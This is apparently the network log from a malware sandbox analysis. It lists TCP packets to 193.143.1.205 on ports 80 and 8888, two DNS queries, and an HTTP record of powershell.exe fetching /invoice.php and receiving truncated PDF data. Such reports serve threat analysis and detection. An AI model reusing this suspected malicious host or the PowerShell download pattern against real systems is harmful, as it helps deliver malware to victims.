Jan 10, 2025 17:34:57.585475922 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585524082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585536003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585550070 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585561991 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585567951 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585580111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585586071 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585592031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585603952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585614920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585614920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585625887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.585642099 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.585660934 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.590715885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.624238014 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624265909 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624279022 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624301910 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624313116 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624325037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624337912 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624351025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624362946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.624370098 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.624413013 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.631982088 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632009029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632021904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632034063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632050991 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632061958 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632072926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632083893 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632092953 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632105112 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632116079 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632133961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632133961 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632133961 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632148981 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632158041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632167101 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632174969 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632179976 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632189989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632200956 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632206917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632239103 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632312059 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632323980 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632334948 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632347107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632348061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632360935 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632371902 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632379055 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632384062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632395029 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.632407904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.632428885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672149897 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672183037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672195911 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672205925 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672218084 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672230005 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672241926 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672254086 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672265053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672276020 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672287941 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672291994 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672298908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672312021 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672327995 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672352076 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672375917 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672446012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672457933 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672468901 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672482014 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672513008 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672532082 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672543049 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672553062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672564983 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672574997 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672586918 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672615051 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672625065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672635078 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672646999 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672658920 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672667027 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672671080 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672686100 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672694921 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672720909 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672727108 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672736883 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672748089 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672770023 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672820091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672888041 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672899008 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672910929 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672921896 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672933102 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672935009 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672945023 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.672962904 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.672986031 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673005104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673015118 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673018932 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673041105 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673054934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673067093 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673077106 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673091888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673125982 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673130989 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673168898 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673206091 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673332930 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673348904 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673361063 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673371077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673382044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673389912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673393965 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673403978 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673418045 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673429966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673453093 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673477888 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673491955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673504114 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673513889 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673525095 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673537016 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673537970 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673557997 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673562050 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673579931 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673590899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673603058 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673610926 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673614979 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673626900 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673628092 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673640013 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673651934 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673660040 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673676968 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673712969 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673724890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673734903 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673746109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673748016 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673772097 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673876047 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673887968 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673901081 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673909903 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673912048 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673924923 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673934937 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673935890 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673949003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673954964 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673964024 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.673985004 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.673998117 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674009085 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674019098 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674030066 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674030066 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.674041986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674046993 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.674053907 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674066067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674077034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674082041 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.674088955 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.674097061 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.674129963 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.677225113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.712721109 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.712752104 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.712766886 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.712780952 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.712794065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.712806940 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.712821960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.712831974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.712882996 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.712951899 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720510960 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720556974 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720568895 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720581055 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720602036 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720613003 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720623970 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720635891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720649004 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720668077 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720666885 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720694065 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720702887 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720705032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720711946 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720722914 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720729113 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720741034 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720752001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720752001 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720753908 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720803976 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720818996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720830917 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720846891 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720856905 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720861912 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720870018 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720880032 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720887899 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720901012 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720906973 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.720913887 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.720948935 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.765495062 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765516996 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765547037 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765573025 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765573025 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.765587091 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765599966 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765614986 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765614986 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.765629053 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765640974 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.765642881 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765655994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765669107 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765717030 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.765750885 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765763044 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765777111 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765789032 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765788078 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.765804052 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765811920 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.765815973 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765830994 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765849113 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.765850067 CET	80	49730	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:57.765870094 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:57.811611891 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:58.022883892 CET	49730	80	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:58.932255983 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:58.937135935 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:58.937238932 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:58.938004017 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 17:34:58.942769051 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:59.836580992 CET	8888	49731	193.143.1.205	192.168.2.4
Jan 10, 2025 17:34:59.888664961 CET	49731	8888	192.168.2.4	193.143.1.205
Jan 10, 2025 17:35:00.212588072 CET	49731	8888	192.168.2.4	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 17:35:11.891899109 CET	49960	53	192.168.2.4	1.1.1.1
Jan 10, 2025 17:35:28.052795887 CET	59031	53	192.168.2.4	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 17:35:11.891899109 CET	192.168.2.4	1.1.1.1	0xcc	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Jan 10, 2025 17:35:28.052795887 CET	192.168.2.4	1.1.1.1	0xfa89	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 17:35:11.899207115 CET	1.1.1.1	192.168.2.4	0xcc	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 17:35:28.059981108 CET	1.1.1.1	192.168.2.4	0xfa89	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	193.143.1.205	80	7440	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 17:34:56.182349920 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 17:34:56.979477882 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 16:34:56 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 17:34:56.979541063 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 17:34:56.979569912 CET	448	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
